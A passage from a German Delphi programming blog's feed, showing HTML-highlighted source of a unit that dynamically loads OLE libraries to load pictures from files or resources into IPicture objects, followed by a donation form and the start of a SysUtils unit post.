      xSrc<span style="color: #000000;">:</span> OLE_XPOS_HIMETRIC<span style="color: #000000;">;</span> ySrc<span style="color: #000000;">:</span> OLE_YPOS_HIMETRIC<span style="color: #000000;">;</span>
      cxSrc<span style="color: #000000;">:</span> OLE_XSIZE_HIMETRIC<span style="color: #000000;">;</span> cySrc<span style="color: #000000;">:</span> OLE_YSIZE_HIMETRIC<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">const</span></strong> rcWBounds<span style="color: #000000;">:</span> TRect<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> set_hPal<span style="color: #000000;">(</span>hpal<span style="color: #000000;">:</span> OLE_HANDLE<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_CurDC<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> dcOut<span style="color: #000000;">:</span> HDC<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> SelectPicture<span style="color: #000000;">(</span>dcIn<span style="color: #000000;">:</span> HDC<span style="color: #000000;">;</span> <strong><span style="color: #000080;">out</span></strong> hdcOut<span style="color: #000000;">:</span> HDC<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">out</span></strong> bmpOut<span style="color: #000000;">:</span> OLE_HANDLE<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_KeepOriginalFormat<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> fkeep<span style="color: #000000;">:</span> BOOL<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> put_KeepOriginalFormat<span style="color: #000000;">(</span>fkeep<span style="color: #000000;">:</span> BOOL<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> PictureChanged<span style="color: #000000;">:</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> SaveAsFile<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> stream<span style="color: #000000;">:</span> IStream<span style="color: #000000;">;</span> fSaveMemCopy<span style="color: #000000;">:</span> BOOL<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">out</span></strong> cbSize<span style="color: #000000;">:</span> Longint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_Attributes<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> dwAttr<span style="color: #000000;">:</span> Longint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
  <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">type</span></strong>
   TFNCreateStreamOnHGlobalX <span style="color: #000000;">=</span> <strong><span style="color: #000080;">function</span></strong><span style="color: #000000;">(</span>hglob<span style="color: #000000;">:</span> HGlobal<span style="color: #000000;">;</span> fDeleteOnRelease<span style="color: #000000;">:</span> BOOL<span style="color: #000000;">;</span>
                                        <strong><span style="color: #000080;">out</span></strong> stm<span style="color: #000000;">:</span> IStream<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
   TFNOleLoadPictureX        <span style="color: #000000;">=</span> <strong><span style="color: #000080;">function</span></strong><span style="color: #000000;">(</span>stream<span style="color: #000000;">:</span> IStream<span style="color: #000000;">;</span> lSize<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span> fRunmode<span style="color: #000000;">:</span> BOOL<span style="color: #000000;">;</span>
                                        <strong><span style="color: #000080;">const</span></strong> iid<span style="color: #000000;">:</span> TIID<span style="color: #000000;">;</span> <strong><span style="color: #000080;">out</span></strong> vObject<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>

<em><span style="color: #477ab8;">{function CreateStreamOnHGlobal(hglob: HGlobal; fDeleteOnRelease: BOOL;
  out stm: IStream): HResult; stdcall;
function OleLoadPicture(stream: IStream; lSize: Longint; fRunmode: BOOL;
  const iid: TIID; out vObject): HResult; stdcall;}</span></em>

<strong><span style="color: #000080;">var</span></strong>
   CreateStreamOnHGlobalX <span style="color: #000000;">:</span> TFNCreateStreamOnHGlobalX <span style="color: #000000;">=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
   OleLoadPictureX        <span style="color: #000000;">:</span> TFNOleLoadPictureX <span style="color: #000000;">=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>

   <strong><span style="color: #000080;">function</span></strong> LoadPictureFromFile<span style="color: #000000;">(</span>AFile<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span> <strong><span style="color: #000080;">var</span></strong> pPicture<span style="color: #000000;">:</span> IPicture<span style="color: #000000;">)</span> <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">function</span></strong> LoadPictureFromRes<span style="color: #000000;">(</span>Instance<span style="color: #000000;">:</span> THandle<span style="color: #000000;">;</span> <strong><span style="color: #000080;">const</span></strong> szResName<span style="color: #000000;">,</span> szResType <span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span> <strong><span style="color: #000080;">var</span></strong> pPicture<span style="color: #000000;">:</span> IPicture<span style="color: #000000;">)</span> <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>

<strong><span style="color: #000080;">implementation</span></strong>

<strong><span style="color: #000080;">const</span></strong>
   OLE<span style="color: #000000;">32</span>    <span style="color: #000000;">=</span> <span style="color: #000080;">'ole32.dll'</span><span style="color: #000000;">;</span>
   OLEPRO<span style="color: #000000;">32</span> <span style="color: #000000;">=</span> <span style="color: #000080;">'olepro32.dll'</span><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">var</span></strong> LibOle32,
    LibOlePro32 <span style="color: #000000;">:</span> HMODULE<span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> LoadX<span style="color: #000000;">000</span>XActiveX<span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   Result <span style="color: #000000;">:=</span> False<span style="color: #000000;">;</span>
   LibOle32 <span style="color: #000000;">:=</span> LoadLibrary<span style="color: #000000;">(@</span>OLE<span style="color: #000000;">32</span><span style="color: #000000;">[</span><span style="color: #000000;">1</span><span style="color: #000000;">]);</span>
   <strong><span style="color: #000080;">if</span></strong> LibOle32 <span style="color: #000000;">&lt;&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      LibOlePro32 <span style="color: #000000;">:=</span> LoadLibrary<span style="color: #000000;">(@</span>OLEPRO<span style="color: #000000;">32</span><span style="color: #000000;">[</span><span style="color: #000000;">1</span><span style="color: #000000;">]);</span>
      <strong><span style="color: #000080;">if</span></strong> LibOlePro32 <span style="color: #000000;">&lt;&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
         CreateStreamOnHGlobalX <span style="color: #000000;">:=</span> GetProcAddress<span style="color: #000000;">(</span>LibOle32, PChar<span style="color: #000000;">(</span><span style="color: #000080;">'CreateStreamOnHGlobal'</span><span style="color: #000000;">));</span>
         OleLoadPictureX        <span style="color: #000000;">:=</span> GetProcAddress<span style="color: #000000;">(</span>LibOlePro32, PChar<span style="color: #000000;">(</span><span style="color: #000080;">'OleLoadPicture'</span><span style="color: #000000;">));</span>
         <strong><span style="color: #000080;">if</span></strong> Assigned<span style="color: #000000;">(</span>CreateStreamOnHGlobalX<span style="color: #000000;">)</span> <strong><span style="color: #000080;">And</span></strong>
            Assigned<span style="color: #000000;">(</span>OleLoadPictureX<span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
            Result <span style="color: #000000;">:=</span> True<span style="color: #000000;">;</span>
            Exit<span style="color: #000000;">;</span>
         <strong><span style="color: #000080;">end</span></strong> <strong><span style="color: #000080;">else</span></strong> <strong><span style="color: #000080;">begin</span></strong>
            CreateStreamOnHGlobalX <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
            OleLoadPictureX <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
            FreeLibrary<span style="color: #000000;">(</span>LibOle32)<span style="color: #000000;">;</span>
            FreeLibrary<span style="color: #000000;">(</span>LibOlePro32)<span style="color: #000000;">;</span>
         <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">end</span></strong> <strong><span style="color: #000080;">else</span></strong>
         FreeLibrary<span style="color: #000000;">(</span>LibOle32)<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">procedure</span></strong> UnloadX<span style="color: #000000;">000</span>XActiveX<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   CreateStreamOnHGlobalX <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
   OleLoadPictureX <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
   FreeLibrary<span style="color: #000000;">(</span>LibOle32)<span style="color: #000000;">;</span>
   FreeLibrary<span style="color: #000000;">(</span>LibOlePro32)<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<em><span style="color: #477ab8;">(* Funktion l�dt ein Bild von der HDD in eine Variable vom Typ IPicture (X000XActiveX.pas) *)</span></em>
<strong><span style="color: #000080;">function</span></strong> LoadPictureFromFile<span style="color: #000000;">(</span>AFile<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span> <strong><span style="color: #000080;">var</span></strong> pPicture<span style="color: #000000;">:</span> IPicture<span style="color: #000000;">)</span> <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">const</span></strong> IID_IPicture <span style="color: #000000;">:</span> TGUID <span style="color: #000000;">=</span> <span style="color: #000080;">'{7BF80980-BF32-101A-8BBB-00AA00300CAB}'</span><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong>
   hFile<span style="color: #000000;">,</span> hMem <span style="color: #000000;">:</span> THandle<span style="color: #000000;">;</span>
   dwFileSize<span style="color: #000000;">,</span>
   dwBytesRead <span style="color: #000000;">:</span> DWord<span style="color: #000000;">;</span>
   pData       <span style="color: #000000;">:</span> Pointer<span style="color: #000000;">;</span>
   bRead       <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>
   hRes        <span style="color: #000000;">:</span> HResult<span style="color: #000000;">;</span>
   pStream     <span style="color: #000000;">:</span> IStream<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">Begin</span></strong>
   Result <span style="color: #000000;">:=</span> False<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> LoadX<span style="color: #000000;">000</span>XActiveX <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      hMem   <span style="color: #000000;">:=</span> <span style="color: #000000;">0</span><span style="color: #000000;">;</span>
      <em><span style="color: #477ab8;">(* Datei �ffnen *)</span></em>
      hFile  <span style="color: #000000;">:=</span> CreateFile<span style="color: #000000;">(</span>PChar<span style="color: #000000;">(</span>AFile<span style="color: #000000;">),</span> GENERIC_READ<span style="color: #000000;">,</span> <span style="color: #000000;">0</span><span style="color: #000000;">,</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">,</span>  OPEN_EXISTING<span style="color: #000000;">,</span> <span style="color: #000000;">0</span><span style="color: #000000;">,</span> <span style="color: #000000;">0</span><span style="color: #000000;">);</span>
      <strong><span style="color: #000080;">if</span></strong> hFile <span style="color: #000000;">=</span> INVALID_HANDLE_VALUE <strong><span style="color: #000080;">then</span></strong> Exit<span style="color: #000000;">;</span>
      <em><span style="color: #477ab8;">(* Sollte was schief laufen, steigen wir mit exit aus, aufger�umt wird im Finally Block *)</span></em>
      <strong><span style="color: #000080;">try</span></strong>
         <em><span style="color: #477ab8;">(* Dateigr��e holen *)</span></em>
         dwFileSize <span style="color: #000000;">:=</span> GetFileSize<span style="color: #000000;">(</span>hFile<span style="color: #000000;">,</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> dwFileSize <span style="color: #000000;">=</span> INVALID_FILE_SIZE <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* "Dateigr��e" an Bytes vom Heap anfordern *)</span></em>
         hMem <span style="color: #000000;">:=</span> GlobalAlloc<span style="color: #000000;">(</span>GHND <strong><span style="color: #000080;">or</span></strong> GMEM_NODISCARD<span style="color: #000000;">,</span> dwFileSize<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> hMem <span style="color: #000000;">=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Einen Zeiger auf den soeben angeforderten Speicherblock holen *)</span></em>
         pData <span style="color: #000000;">:=</span> GlobalLock<span style="color: #000000;">(</span>hMem<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> <strong><span style="color: #000080;">Not</span></strong> Assigned<span style="color: #000000;">(</span>pData<span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Datei in den Speicher lesen *)</span></em>
         <em><span style="color: #477ab8;">(* Dateigr��e und gelesene Bytes sollten hiernach �bereinstimmen *)</span></em>
         bRead <span style="color: #000000;">:=</span> ReadFile<span style="color: #000000;">(</span>hFile<span style="color: #000000;">,</span> pData<span style="color: #000000;">^</span> <span style="color: #000000;">,</span> dwFileSize<span style="color: #000000;">,</span> dwBytesRead<span style="color: #000000;">,</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">);</span>
         GlobalUnlock<span style="color: #000000;">(</span>hMem<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> <strong><span style="color: #000080;">not</span></strong> bRead <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Ein StreamObject erstellen (wir geben den HeapSpeicher selber frei - 2. Parameter) *)</span></em>
         pStream <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
         hRes <span style="color: #000000;">:=</span> CreateStreamOnHGlobalX<span style="color: #000000;">(</span>hMem<span style="color: #000000;">,</span> False<span style="color: #000000;">,</span> pStream<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> FAILED<span style="color: #000000;">(</span>hRes<span style="color: #000000;">)</span> <strong><span style="color: #000080;">or</span></strong> <span style="color: #000000;">(</span>pStream <span style="color: #000000;">=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Das Picture in die Variable pPicture (IPicture) laden und bei Erfolg True zur�ckgeben *)</span></em>
         hRes <span style="color: #000000;">:=</span> OleLoadPictureX<span style="color: #000000;">(</span>pStream<span style="color: #000000;">,</span> dwFileSize<span style="color: #000000;">,</span> False<span style="color: #000000;">,</span> IID_IPicture<span style="color: #000000;">,</span> pPicture<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> <span style="color: #000000;">(</span>hRes <span style="color: #000000;">=</span> S_OK<span style="color: #000000;">)</span> <strong><span style="color: #000080;">and</span></strong> <span style="color: #000000;">(</span>pPicture <span style="color: #000000;">&lt;&gt;</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
            Result <span style="color: #000000;">:=</span> True<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* StreamObjekt zerst�ren *)</span></em>
         pStream <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">finally</span></strong>
         <em><span style="color: #477ab8;">(* Wenn wir vorhin erfolgreich Speicher angefordert haben, ihn hier *)</span></em>
         <em><span style="color: #477ab8;">(* auf jedenfall wieder frei geben *)</span></em>
         <strong><span style="color: #000080;">if</span></strong> hMem <span style="color: #000000;">&lt;&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
            GlobalFree<span style="color: #000000;">(</span>hMem<span style="color: #000000;">);</span>
         <em><span style="color: #477ab8;">(* und zu guterletzt die Datei wieder schlie�en *)</span></em>
         CloseHandle<span style="color: #000000;">(</span>hFile<span style="color: #000000;">);</span>
         UnloadX<span style="color: #000000;">000</span>XActiveX<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">End</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> LoadPictureFromRes<span style="color: #000000;">(</span>Instance<span style="color: #000000;">:</span> THandle<span style="color: #000000;">;</span> <strong><span style="color: #000080;">const</span></strong> szResName<span style="color: #000000;">,</span> szResType <span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span> <strong><span style="color: #000080;">var</span></strong> pPicture<span style="color: #000000;">:</span> IPicture<span style="color: #000000;">)</span> <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">const</span></strong> IID_IPicture <span style="color: #000000;">:</span> TGUID <span style="color: #000000;">=</span> <span style="color: #000080;">'{7BF80980-BF32-101A-8BBB-00AA00300CAB}'</span><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong>
   hResInfo<span style="color: #000000;">,</span>
   hResGlobal<span style="color: #000000;">,</span>
   hMem <span style="color: #000000;">:</span> THandle<span style="color: #000000;">;</span>
   dwFileSize  <span style="color: #000000;">:</span> DWord<span style="color: #000000;">;</span>
   pData<span style="color: #000000;">,</span>
   pResData    <span style="color: #000000;">:</span> Pointer<span style="color: #000000;">;</span>
   hRes        <span style="color: #000000;">:</span> HResult<span style="color: #000000;">;</span>
   pStream     <span style="color: #000000;">:</span> IStream<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">Begin</span></strong>
   Result <span style="color: #000000;">:=</span> False<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> LoadX<span style="color: #000000;">000</span>XActiveX <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      hMem   <span style="color: #000000;">:=</span> <span style="color: #000000;">0</span><span style="color: #000000;">;</span>
      <em><span style="color: #477ab8;">(* Resource suchen und wenn vorhanden... *)</span></em>
      hResInfo <span style="color: #000000;">:=</span> FindResource<span style="color: #000000;">(</span>Instance<span style="color: #000000;">,</span> Pointer<span style="color: #000000;">(</span>szResName<span style="color: #000000;">),</span> Pointer<span style="color: #000000;">(</span>szResType<span style="color: #000000;">));</span>
      <strong><span style="color: #000080;">if</span></strong> hResInfo <span style="color: #000000;">=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong> Exit<span style="color: #000000;">;</span>
      <em><span style="color: #477ab8;">(* ... laden *)</span></em>
      hResGlobal <span style="color: #000000;">:=</span> LoadResource<span style="color: #000000;">(</span>Instance<span style="color: #000000;">,</span> hResInfo<span style="color: #000000;">);</span>
      <strong><span style="color: #000080;">if</span></strong> hResGlobal <span style="color: #000000;">=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong> Exit<span style="color: #000000;">;</span>
      <em><span style="color: #477ab8;">(* Sollte was schief laufen, steigen wir mit exit aus, aufger�umt wird im Finally Block *)</span></em>
      <strong><span style="color: #000080;">try</span></strong>
         <em><span style="color: #477ab8;">(* Handle auf die Daten holen *)</span></em>
         pResData <span style="color: #000000;">:=</span> LockResource<span style="color: #000000;">(</span>hResGlobal<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> <strong><span style="color: #000080;">Not</span></strong> Assigned<span style="color: #000000;">(</span>pResData<span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong> Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Gr��e der Resource in Bytes holen *)</span></em>
         dwFileSize <span style="color: #000000;">:=</span> SizeofResource<span style="color: #000000;">(</span>Instance<span style="color: #000000;">,</span> hResInfo<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> dwFileSize <span style="color: #000000;">=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong> Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* "Dateigr��e" an Bytes vom Heap anfordern *)</span></em>
         hMem <span style="color: #000000;">:=</span> GlobalAlloc<span style="color: #000000;">(</span>GHND <strong><span style="color: #000080;">or</span></strong> GMEM_NODISCARD<span style="color: #000000;">,</span> dwFileSize<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> hMem <span style="color: #000000;">=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Einen Zeiger auf den soeben angeforderten Speicherblock holen *)</span></em>
         pData <span style="color: #000000;">:=</span> GlobalLock<span style="color: #000000;">(</span>hMem<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> <strong><span style="color: #000080;">Not</span></strong> Assigned<span style="color: #000000;">(</span>pData<span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Daten in den Speicher lesen *)</span></em>
         Move<span style="color: #000000;">(</span>pResData<span style="color: #000000;">^,</span> pData<span style="color: #000000;">^,</span> dwFileSize<span style="color: #000000;">);</span>
         GlobalUnlock<span style="color: #000000;">(</span>hMem<span style="color: #000000;">);</span>
         <em><span style="color: #477ab8;">(* Ein StreamObject erstellen (wir geben den HeapSpeicher selber frei - 2. Parameter) *)</span></em>
         pStream <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
         hRes <span style="color: #000000;">:=</span> CreateStreamOnHGlobalX<span style="color: #000000;">(</span>hMem<span style="color: #000000;">,</span> False<span style="color: #000000;">,</span> pStream<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> FAILED<span style="color: #000000;">(</span>hRes<span style="color: #000000;">)</span> <strong><span style="color: #000080;">or</span></strong> <span style="color: #000000;">(</span>pStream <span style="color: #000000;">=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Das Picture in die Variable pPicture (IPicture) laden und bei Erfolg True zur�ckgeben *)</span></em>
         hRes <span style="color: #000000;">:=</span> OleLoadPictureX<span style="color: #000000;">(</span>pStream<span style="color: #000000;">,</span> dwFileSize<span style="color: #000000;">,</span> False<span style="color: #000000;">,</span> IID_IPicture<span style="color: #000000;">,</span> pPicture<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> <span style="color: #000000;">(</span>hRes <span style="color: #000000;">=</span> S_OK<span style="color: #000000;">)</span> <strong><span style="color: #000080;">and</span></strong> <span style="color: #000000;">(</span>pPicture <span style="color: #000000;">&lt;&gt;</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
            Result <span style="color: #000000;">:=</span> True<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* StreamObjekt zerst�ren *)</span></em>
         pStream <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">finally</span></strong>
         <em><span style="color: #477ab8;">(* Wenn wir vorhin erfolgreich Speicher angefordert haben, ihn hier *)</span></em>
         <em><span style="color: #477ab8;">(* auf jedenfall wieder frei geben *)</span></em>
         <strong><span style="color: #000080;">if</span></strong> hMem <span style="color: #000000;">&lt;&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
            GlobalFree<span style="color: #000000;">(</span>hMem<span style="color: #000000;">);</span>
         <em><span style="color: #477ab8;">(* und zu guterletzt die Resource freigeben *)</span></em>
         <strong><span style="color: #000080;">if</span></strong> hResGlobal <span style="color: #000000;">&lt;&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
            FreeResource<span style="color: #000000;">(</span>hResGlobal<span style="color: #000000;">);</span>
         UnloadX<span style="color: #000000;">000</span>XActiveX<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">End</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">.</span>
</span>
</span></pre>
<p>Gefallen Euch meine sourcen &#8211; freue ich mich über Eure Spende  &#8211;  Danke!</p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input name="cmd" type="hidden" value="_s-xclick" />
<input name="hosted_button_id" type="hidden" value="4217138" />
<input name="submit" src="https://www.paypal.com/de_DE/DE/i/btn/btn_donate_SM.gif" type="image" /> <img src="https://www.paypal.com/de_DE/i/scr/pixel.gif" border="0" alt="" width="1" height="1" /><br />
</form>
]]></content:encoded>
			<wfw:commentRss>http://www.gods4u.de/x000x-activexpas/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>X000X-SysUtils.pas</title>
		<link>http://www.gods4u.de/x000x-sysutilspas</link>
		<comments>http://www.gods4u.de/x000x-sysutilspas#comments</comments>
		<pubDate>Fri, 03 Apr 2009 09:49:04 +0000</pubDate>
		<dc:creator>redaktion</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.gods4u.de/?p=61</guid>
		<description><![CDATA[X000X-SysUtils.pas Ich habe hier mal ein paar ältere Delphi sourcen eingearbeitet. Die Originale findet Ihr immer noch hier: X000XBtn.pas X000XSysUtils.pas X000XActiveX.pas unit X000XSysUtils; interface Uses Windows; procedure ShowMessage(const szMessage: String); function FileExists(const szFileName: String): Boolean; procedure WriteDebug(const szStr: String; const Param : Boolean); function UpperCase(const s: String): String; function LowerCase(const s: String): String; function IntToStr(const [...]]]></description>
			<content:encoded><![CDATA[<h4>X000X-SysUtils.pas</h4>
<p><span id="more-61"></span></p>
<p>Ich habe hier mal ein paar ältere <a title="delphi source" href="http://gods4u.de" target="_self">Delphi sourcen</a> eingearbeitet. Die Originale findet Ihr immer noch hier:</p>
<p><span style="font-family: Courier New; color: #000000; font-size: small;"><a href="http://delphi.gods4u.de/X000XBtn.html">X000XBtn.pas</a><br />
<a href="http://delphi.gods4u.de/X000XSysUtils.html">X000XSysUtils.pas</a><br />
<a href="http://delphi.gods4u.de/X000XActiveX.html">X000XActiveX.pas</a></span></p>
<pre><span id="d3a1eded81a1_codebody" class="code">
<span style="font-family: Courier New; color: #000000; font-size: small;">
<strong><span style="color: #000080;">unit</span></strong> X<span style="color: #000000;">000</span>XSysUtils<span style="color: #000000;">;</span>

<strong><span style="color: #000080;">interface</span></strong>

<strong><span style="color: #000080;">Uses</span></strong> Windows<span style="color: #000000;">;</span>

   <strong><span style="color: #000080;">procedure</span></strong> ShowMessage<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> szMessage<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">);</span>
   <strong><span style="color: #000080;">function</span></strong> FileExists<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> szFileName<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">):</span> Boolean<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">procedure</span></strong> WriteDebug<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> szStr<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span> <strong><span style="color: #000080;">const</span></strong> Param <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">);</span>
